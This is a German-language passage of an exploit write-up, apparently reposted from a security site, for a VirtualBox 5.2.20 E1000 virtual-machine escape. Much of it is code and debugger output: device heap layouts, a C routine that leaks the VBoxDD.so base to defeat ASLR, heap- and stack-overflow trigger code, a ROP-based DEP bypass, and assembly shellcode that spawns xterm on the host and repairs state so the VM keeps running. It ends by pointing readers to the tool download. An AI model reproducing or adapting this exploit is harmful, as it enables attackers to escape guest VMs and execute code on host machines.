[trace-device-constructors] Constructing a device #0x11: [trace-device-constructors] Name: "acpi", '\000' <repeats 27 times> [trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008be70 [trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12: [trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008dba0 [trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances: [trace-device-constructors] #0x0 Address: 0x7fc45486c1b0 [trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570 [trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0 [trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0 [trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00 [trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380 [trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0 [trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430 [trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0 [trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0 [trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0 [trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070 [trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080 [trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170 [trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310 [trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700 [trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0 [trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990 [trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

root@kitploit:~
Beachten Sie das E1000-Gerät an Position #0xE. In der zweiten Liste ist zu sehen, dass das folgende Gerät einen Offset von 0x5700 vom E1000 hat, das nächste bei 0x19E0 usw. Wir haben bereits gesagt, dass diese Abstände immer gleich sind, und das ist unsere Ausnutzungsmöglichkeit.

Die auf E1000 folgenden Geräte sind ICH IC'97, OHCI, ACPI, VirtualBox GIM. Durch das Studium ihrer Datenstrukturen fand ich heraus, wie die Schreibprimitive verwendet werden kann.

Beim Booten der virtuellen Maschine wird das ACPI-Gerät erstellt (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

Ein ACPI-Port-E/A-Handler ist für den Bereich 0x4100-0x410F registriert. Im Fall von Port 0x4107 haben wir:```c PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb) { RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser; ... switch (off) { ... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break; ...

root@kitploit:~
Wenn das Gast-Betriebssystem die INB(0x4107)-Anweisung ausführt, um ein Byte vom Port zu lesen, nimmt der Handler ein Byte aus dem Array au8SMBusBlkDat[32] am Index u8SMBusBlkIdx und gibt es an den Gast zurück. Und so lässt sich die Write-Primitive anwenden: Da der Abstand zwischen den Heap-Blöcken der virtuellen Geräte konstant ist, ist auch der Abstand vom Array EEPROM93C46.m_au16Data zu ACPIState.u8SMBusBlkIdx konstant. Indem wir zwei Bytes an ACPIState.u8SMBusBlkIdx schreiben, können wir beliebige Daten im Bereich von 255 Bytes aus ACPIState.au8SMBusBlkDat lesen.

Es gibt ein Hindernis. Wenn man sich die Struktur ACPIState ansieht, erkennt man, dass das Array am Ende der Struktur platziert ist. Die übrigen Felder sind zum Auslesen nutzlos. Schauen wir uns also an, was sich nach der Struktur befindet:```
gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

Es scheint einen Zeiger auf eine Zeichenkette zu geben, der an einem festen Offset von der VBoxDD.so-Image-Basis platziert ist. Der Zeiger befindet sich bei Offset 0x58 am Ende von ACPIState. Wir können diesen Zeiger mit den Primitiven Byte für Byte auslesen und schließlich die VBoxDD.so-Image-Basis erhalten. Wir hoffen nur, dass die Daten hinter der ACPIState-Struktur bei jedem Booten der virtuellen Maschine nicht zufällig sind. Hoffentlich sind sie es nicht; der Zeiger bei Offset 0x58 ist immer da.

Informationsleck

Nun kombinieren wir Schreib- und Lese-Primitive und nutzen sie aus, um ASLR zu umgehen. Wir werden den Heap überlaufen lassen und dabei die EEPROM93C46-Struktur überschreiben, dann den endlichen Automaten des EEPROM auslösen, um den Index in die ACPIState-Struktur zu schreiben, und dann im Gast INB(0x4107) ausführen, um auf ACPI zuzugreifen und ein Byte des Zeigers zu lesen. Wiederholen Sie dies 8 Mal und erhöhen Sie den Index jeweils um 1.```c uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n");

root@kitploit:~
// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
// the stack buffer.
e1000_disable_loopback_mode(mmio);

uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
    stage_1_overflow_heap_buffer(mmio, tx_ring, i);
    leaked_bytes[i] = stage_1_leak_byte();

    printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}

uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

return vboxdd_base;

}

root@kitploit:~
Es wurde gesagt, dass, damit der Integer-Unterlauf nicht zu einem Stack-Pufferüberlauf führt, bestimmte E1000-Register konfiguriert werden sollten. Die Idee ist, dass der Puffer in der Funktion e1kHandleRxPacket überlaufen wird, die bei der Verarbeitung von Tx-Deskriptoren im Loopback-Modus aufgerufen wird. Tatsächlich sendet der Gast im Loopback-Modus Netzwerkpakete an sich selbst, sodass sie unmittelbar nach dem Senden empfangen werden. Wir deaktivieren diesen Modus, sodass e1kHandleRxPacket unerreichbar ist.

### DEP-Bypass
Wir haben ASLR umgangen. Jetzt kann der Loopback-Modus aktiviert und der Stack-Pufferüberlauf ausgelöst werden.```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

Für jetzt wird beim Ausführen der letzten Anweisung von e1kHandleRxPacket die gespeicherte Rücksprungadresse überschrieben und die Steuerung dorthin übertragen, wo der Angreifer es möchte. Aber DEP ist immer noch vorhanden. Es wird auf klassische Weise umgangen, indem eine ROP-Kette aufgebaut wird. ROP-Gadgets reservieren ausführbaren Speicher, kopieren einen Shellcode-Loader hinein und führen ihn aus.

Shellcode

Der Shellcode-Loader ist trivial. Er kopiert den Anfang des überlaufenden Puffers neben sich.```asm use64

start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop

payload: ; Here the shellcode is to be

loader_size = $ - start

root@kitploit:~
Der Shellcode wird ausgeführt. Sein erster Teil ist:```asm
use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

Es führt fork und execve aus, um einen /usr/bin/xterm-Prozess zu erstellen. Der Angreifer erlangt Kontrolle über Ring 3 des Hosts.

Prozessfortsetzung

Ich glaube, jeder Exploit sollte abgeschlossen sein. Das bedeutet, dass er eine Anwendung nicht zum Absturz bringen sollte, auch wenn das natürlich nicht immer möglich ist. Wir benötigen, dass die virtuelle Maschine die Ausführung fortsetzt, was durch den zweiten Teil des Shellcodes erreicht wird.```asm continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48

root@kitploit:~
; Skip junk
add rsp, 0x10

; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15

; Skip junk
add rsp, 0x8

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb

; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0

; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

ret
root@kitploit:~
Wenn e1kHandleRxPacket aufgerufen wird, sieht der Callstack wie folgt aus:```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

Wir springen direkt zu e1kR3NetworkDown_XmitPending, das nichts weiter tut und zu einer Hypervisor-Funktion zurückkehrt.```c static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface) { PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /fOnWorkerThread/); }

root@kitploit:~
Der Shellcode addiert 0x48 zu RBP, damit es so ist, wie es in e1kR3NetworkDown_XmitPending sein sollte. Als Nächstes werden die Register RBX, R12, R13, R14, R15 vom Stack geholt, da die System-V-ABI es erfordert, sie in einer aufgerufenen Funktion zu erhalten. Wenn sie es nicht sind, stürzt der Hypervisor wegen ungültiger Zeiger in ihnen ab.

Es könnte ausreichen, weil die virtuelle Maschine nicht mehr abstürzt und weiter ausgeführt wird. Aber es wird eine Zugriffsverletzung in der Funktion PDMR3QueueDestroyDevice geben, wenn die VM heruntergefahren wird. Der Grund ist, dass beim Überlaufen des Heaps eine wichtige Struktur PDMQUEUE überschrieben wird. Außerdem wird sie durch die letzten beiden ROP-Gadgets überschrieben, d. h. die letzten 16 Bytes. Ich habe versucht, die ROP-Kette zu verkürzen, und bin gescheitert, aber als ich die Daten manuell ersetzt habe, stürzte der Hypervisor immer noch ab. Das bedeutete, dass das Hindernis nicht so offensichtlich ist, wie es schien.

Die überschriebene Datenstruktur ist eine verkettete Liste. Die zu überschreibenden Daten befinden sich im vorletzten Listenelement; ein next-Zeiger soll überschrieben werden. Das Heilmittel erwies sich als einfach:```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

Das Entfernen der letzten beiden Elemente ermöglicht es der virtuellen Maschine, sauber herunterzufahren.

Demo

https://vimeo.com/299325088

Tool herunterladen
Tx-DeskriptorVorher/Nachheru16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN
data_2Vorher0x301000x10
-Nachher0x30100x100
data_3Vorher0x30100x100
-Nachher0x30100x100
data_5Vorher0xF0x100x4188
-Nachher---